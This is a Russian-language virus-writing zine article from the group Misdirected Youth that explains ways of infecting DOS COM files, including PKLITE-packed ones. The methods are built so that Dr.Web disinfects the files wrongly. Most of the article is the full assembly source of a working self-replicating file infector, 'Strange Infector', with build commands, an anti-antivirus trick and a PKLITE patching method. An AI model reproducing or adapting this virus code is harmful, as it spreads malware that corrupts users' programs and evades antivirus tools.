─[NOT-STANDART COM-FILES INFECTION METHODS]─────────────────────────[JD & MNG]─


   вступление

    Все идеи описаные в этой статье принадлежат Джону Дарланду, который  поле-
 нился написать статью и простенький вирус для иллюстрации, поэтому все  приш-
 лось делать мне (mongoose).


   нафиг вообще нужна эта статья?

    "Вирусу абсолютно все равно, откуда его запустили. В любом случае он будет
 восстанавливать первые  байты. В  pklite'нутых   файлах после лечения вначале
 оказывается pop dx/retf. Веб берет  и тупо копирует данные  лечения  вначало.
 Т.е. в начале  "вылеченого" файла оказывается pop dx/retf. ;) Но  вызывали-то
 вирус не оттуда!  :)))" - John Darland

    Но это все справедливо если использовать в вирусе стандартный метод  зара-
 жения com-файлов, а  для pklite'нутых использовать ниже  описаный метод. Тоже
 касается и нестандартных методов заражения com-файлов, их нужно комбинировать
 с простым методом, можно заражать файлы по рандому (простым или нестандартным
 (если конечно файл подходит для заражения нестандартным методом).

    Т.е. в этой статье описаны методы которые "играют" на особенности  лечения
 зараженых файлов доктором вебом.


   нестандартное заражение обычных COM-файлов

    Обычно COM-файлы заражают стандартным (в начале переход на себя и  тело  в
 конце, середине, области повторяющихся байт...), перемещения (а/ля Jerusalem)
 и hll способом. Нет, речь пойдет не о симбиозе...

    Почти все COM-файлы содержат в начале инструкцию:

  cs:100h       jmp      offset ????            ; E9,??,??

    В конец, середину, область повторяющих байт и тд записываем тело вируса, а
 в начало файла записываем инструкции:

  cs:100h       push     offset ????+100h       ; 68,??,??
  cs:103h       jmp      real_start             ; Передаем управление вирусу

    Но запоминаем  только три байта с позиции 103h, потом востанавливаем их на
 103h, для передачи управления жертве просто выполняем ret

    Приведу второй пример, если в начале COM-файла инструкция типа:

  cs:100h       mov      [16 битный регистр],????

    Все тоже самое но только в начало записываем инструкции:

  cs:100h       push     ????                   ; 68,??,??
  cs:103h       jmp      real_start             ; Передаем управление вирусу

    Востанавиливаем три байта на 103h, для передачи выполнения выполняем:

                pop      [16 битный регистр]
                push     103h
                ret

    А теперь иллюстрация к статье - примитивный  вирус Strange Infector (зара-
 жает файлы только не стандартным методом), компилить: tasm si.asm
                                                       tlink /t /x si.obj
────[SI.ASM]─────────[START]───────────────────────────────────────────────────
; SI.328 - Strange Infector
;
;                              (с) mongoose, Misdirected Youth. September `99
               .model   tiny
               .code
                org     100h

 start: push_xxxx        db 68h,00h,4ch         ; Infected by second method
                jmp      real_start
                         db 11h
 programm                db 993 dup (90h)

 real_start:    push     es ds                  ; Anti Web v4.11 (?) trick
                cmp      word ptr ds:[16h],0
                jnz      no_web
                jmp      cure_data

 no_web:        call     calculate_ip           ; Calculate IP
                sub      bp,offset no_web+3
                pop      ds es

 restore:       mov      di,103h                ; Restore first 5 bytes
                lea      si,[bp+orig_bytes]
                movsw
                movsw

                lea      dx,[bp+dta]            ; Set new DTA
                call     set_dta

                mov      ah,4eh                 ; Find first COM-file
                sub      cx,cx                  ; Attributes
                lea      dx,[bp+com_mask]       ; Com-files mask
 try_another:   int      21h
                jnc      open_file              ; Jump if files not found
                jmp      quit

 open_file:     mov      ax,3d02h               ; Open file for Read'n'write
                lea      dx,[bp+dta+1eh]        ; File name
                int      21h
                xchg     bx,ax                  ; Save file handle in bx

                mov      ax,4200h
                sub      cx,cx
                mov      dx,3
                int      21h

                mov      ah,3fh                 ; Read first 5 bytes
                mov      cx,4
                lea      dx,[bp+orig_bytes]
                int      21h

                mov      ax,word ptr [bp+dta+1ah]
                cmp      ax,1000
                ja       check_if_big
                jmp      close

 check_if_big:  cmp      ax,60000
                jb       check_if_ill
                jmp      close

 check_if_ill:  cmp      byte ptr [bp+orig_bytes+3],11h
                jnz      check_exe
                jmp      close

 check_exe:     cmp      byte ptr [bp+orig_bytes+1],'Z'
                jnz      move_to_start
                jmp      close

 move_to_start: sub      ax,ax
                call     move_ptr

                mov      ah,3fh                 ; Read first 3 bytes
                mov      cx,3
                lea      dx,[bp+buffer]
                int      21h

                lea      di,[bp+xor_buffer]     ; Move virus body to buffer
                lea      si,[bp+real_start]
                mov      cx,(end_of_code-real_start)
                cld
                rep      movsb

 chk_second:    mov      al,0b8h                ; First instruction must be
 cmp_buff:      cmp      byte ptr [bp+buffer],al; MOV REG,XXXX or
                jz       second_method
                inc      al
                cmp      al,0c0h
                jnz      cmp_buff

 chk_first:     cmp      byte ptr [bp+buffer],0e9h
                jnz      close

 first_method:  mov      byte ptr [bp+writebuffer],68h
                mov      ax,word ptr [bp+buffer+1]
                add      ax,100h
                mov      word ptr [bp+writebuffer+1],ax

                mov      ax,0c390h
                jmp      write_it

 second_method: mov      byte ptr [bp+writebuffer],68h
                mov      ax,word ptr [bp+buffer+1]
                mov      word ptr [bp+writebuffer+1],ax

                mov      ah,byte ptr [bp+buffer]; Move POP REG to buffer
                sub      ah,60h
                mov      al,90h
 write_it:      lea      si,[bp+xor_buffer]
                add      si,(cure_data-real_start)
                mov      word ptr [si],ax

                mov      ax,word ptr [bp+dta+1ah]
                sub      al,6
                mov      byte ptr [bp+writebuffer+3],0e9h
                mov      word ptr [bp+writebuffer+4],ax
                mov      byte ptr [bp+writebuffer+6],11h
 
                sub      ax,ax
                call     move_ptr

                mov      ah,40h
                mov      cl,7
                lea      dx,[bp+writebuffer]
                int      21h

                mov      al,2
                call     move_ptr

                mov      ah,40h                 ; Write virii body to file
                mov      cx,(end_of_code-real_start)
                lea      dx,[bp+xor_buffer]
                int      21h

 close:         mov      ah,3eh                 ; Close infected file
                int      21h

                mov      ah,4fh                 ; Find next file
                jmp      try_another
 quit:          mov      dx,80h                 ; Restore old DTA
                call     set_dta
          
 cure_data:     pop      ax
                nop
 push_103h               db 68h,03h,01h,0c3h    ; Jump to CS:103
                         db 'MY'                ; means Misdirected Youth
;┌─────────────────────────────────────────────────────────────────────────────
;│ PROCEDURES
;└─────────────────────────────────────────────────────────────────────────────
 set_dta:       mov      ah,1ah                 ; Set DTA
                int      21h
                ret 
;──────────────────────────────────────────────────────────────────────────────
 move_ptr:      mov      ah,42h                 ; Move file ptr
                sub      cx,cx
                cwd
                int      21h
                ret
;──────────────────────────────────────────────────────────────────────────────
 calculate_ip:  pop      bp                     ; Calculate IP and fuck TBAV
                push     bp                     ; with doctor WEB
                ret
;┌─────────────────────────────────────────────────────────────────────────────
;│ DATA
;└─────────────────────────────────────────────────────────────────────────────
 com_mask                db '*.com', 0          ; File mask
 orig_bytes              db 0cdh,21h,90h,90h    ; To save original bytes
;┌─────────────────────────────────────────────────────────────────────────────
;│ HEAP
;└─────────────────────────────────────────────────────────────────────────────
 end_of_code    label    byte
 writebuffer             db 7 dup (?)
 dta                     db 42 dup (?)
 buffer                  db 3 dup (?)
 xor_buffer              db (end_of_code-real_start) dup (?)

                end    start
────[SI.ASM]─────────[END]─────────────────────────────────────────────────────


   нестандартное заражение COM-файлов упакованых PKLITE

    com-файл упакованный pklite до заражения:

────[PKLITE.LST]─────[START]───────────────────────────────────────────────────
0100▐ 50                    PUSH    AX
0101▐ B8 88 27              MOV     AX,2788
0104▐ BA 78 00              MOV     DX,0078
0107▐ 3B C4                 CMP     AX,SP
0109▐ 73 79                 JNC     0184
010B▐ 8B C4                 MOV     AX,SP
010D▐ 2D 42 03              SUB     AX,0342
0110▐ 25 F0 FF              AND     AX,FFF0
0113▐ 8B F8                 MOV     DI,AX
0115▐ B9 A1 00              MOV     CX,00A1
0118▐ BE 8E 01              MOV     SI,018E
011B▐ FC                    CLD
011C▐ F3/A5                 REP     MOVSW
011E▐ 8B D8                 MOV     BX,AX
0120▐ B1 04                 MOV     CL,04
0122▐ D3 EB                 SHR     BX,CL
0124▐ 8C D9                 MOV     CX,DS
0126▐ 03 D9                 ADD     BX,CX
0128▐ 53                    PUSH    BX
0129▐ 33 DB                 XOR     BX,BX
012B▐ 53                    PUSH    BX
012C▐ CB                    RETF                          ; Ret far
012D▐ 90                    NOP
012E▐ 32 01                 XOR     AL,Byte ptr [BX+DI]
0130▐ 50                            DB 'P'                ; PKLITE copyright
────[PKLITE.LST]─────[EOF]─────────────────────────────────────────────────────

    Три байта по смещению 12Bh нам не нужны (так же как и копирайт pklitа) по-
 этому на их место пишем jmp на 130h (затираем комманды push bx/retf). По сме-
 щению 130h расположен  копирайт PKLITE который  мы затираем инструкциями push
 bx, push dx (так как распаковщику pklite нужно значение dx).  При лечении ви-
 рус пишет pop dx/retf по смещению 100h и  передает упраление на них. Т.е. ви-
 русу абсолютно все равно, откуда его вызвали...

    Такой метод заражения pklit'нутых файлов используется в нескольких послед-
 них версиях doctor'а web'а, в вирлисте Данилов сообщает что файлы  зараженные
 таким способом лечатся некоректно:

────[VIRLIST.DWB]────[START]───────────────────────────────────────────────────
        JDC.6891, 7474, 7616 при заражении файлов, упакованных PKLITE, внедряют
        фрагменты  своего  кода  в середину распаковщика. Лечение  таких файлов
        будет некорректным.
────[VIRLIST.DWB]────[EOF]─────────────────────────────────────────────────────

                                                       ideas by John Darland/MY
                                                  code & article by mongoose/MY
                                           (c) by soldiers of Misdirected Youth